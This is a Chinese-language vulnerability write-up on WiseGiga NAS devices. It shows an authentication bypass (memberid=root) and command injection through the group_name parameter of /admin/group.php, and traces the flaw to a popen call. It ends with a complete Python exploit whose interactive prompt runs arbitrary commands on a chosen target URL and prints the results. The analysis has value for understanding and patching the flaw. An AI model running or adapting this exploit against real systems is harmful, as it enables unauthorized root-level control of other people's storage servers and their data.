WiseGiga NAS 远程代码执行

漏洞描述

WiseGiga NAS是一种韩国的“网络存储器”,它是一种专用的数据存储服务器。WiseGiga NAS 系统group.php存在任意命令执行漏洞,攻击者可以通过执行任意命令,获取服务器管理权限。

影响范围

WiseGiga NAS

资产测绘

暂无

漏洞复现

登录界面如下

POC

/admin/group.php?memberid=root&cmd=add&group_name=d;id>1.txt

成功将命令执行结果写入1.txt

开始分析group.php

首先访问该php前,调用了auth函数进行鉴权

在pre.php中,找到了auth方法,当$memberid=="root"时,则鉴权成功

因此只需要构造参数group.php?memberid=root即可绕过鉴权

根据漏洞参数&cmd=add&group_name=parms,定位到group.php的178行

该方法调用了add_system()方法

跟进add_system方法,发现group_name参数传入了root_exec_cmd方法中

再次跟进root_exec_cmd方法

该方法的解释如下

function root_exec_cmd($cmd)
{
    // 打开一个临时文件以写入要执行的命令
    $tmpfile = fopen("/tmp/ramdisk/cmd.list", "w");

    // 将命令写入临时文件
    fwrite($tmpfile, $cmd);

    // 关闭文件句柄
    fclose($tmpfile);

    // 使用popen打开一个进程,并执行指定的脚本(/tmp/ramdisk/ramush)
    popen("/tmp/ramdisk/ramush", "r");
}

popen 是 PHP 中的一个函数,用于打开一个进程的管道。它创建一个进程,并返回一个文件指针,可以通过该文件指针来读取或写入该进程的输入和输出。这个函数通常用于执行外部命令并与其进行交互。

这个函数通常用于执行系统命令,例如:

$fp = popen('ls -l', 'r');

while (!feof($fp)) {
    echo fgets($fp);
}

pclose($fp);

上述代码执行 ls -l 命令,并读取其输出。

因此,前端传入的group_name最终会被popen函数执行,而group_name参数没有进行严格的过滤和校验,导致命令拼接,造成任意代码执行。

POC&EXP

# -*- encoding: utf-8 -*-
# Date: 2023/11/27
# Author: iy

import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def title():
    print('+-------------------------------------------------')
    print('[+]  \033[34mWiseGiga NAS远程代码执行          \033[0m')
    print('+-------------------------------------------------')


def check(target_url):
    check_url = target_url + "/admin/group.php?memberid=root&cmd=add&group_name=d;echo%20rce%20>%20rce.txt"
    try:
        requests.get(url=check_url, verify=False, timeout=10)
        des_url = target_url + "/admin/rce.txt"
        response = requests.get(url=des_url, verify=False, timeout=10)
        if response.status_code == 200 and 'rce' in response.text:
            print("[+] 漏洞存在")
            return True
        else:
            return False
    except Exception as e:
        print("请求发生异常:", e)


def exp(target_url):
    if check(target_url):
        while True:
            cmd = str(input("\033[35mcmd >>> \033[0m"))
            if cmd.lower() == 'q':
                break
            vuln_url = target_url + f"/admin/group.php?memberid=root&cmd=add&group_name=d;{cmd}%20>%20rce.txt"
            try:
                requests.get(url=vuln_url, verify=False, timeout=10)
                des_url = target_url + "/admin/rce.txt"
                response = requests.get(url=des_url, verify=False, timeout=10)
                print(response.text)
            except Exception as e:
                print("请求发生异常:", e)
    else:
        print("[-] 漏洞不存在")


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mUrl   >>> \033[0m"))
    exp(target_url)

运行效果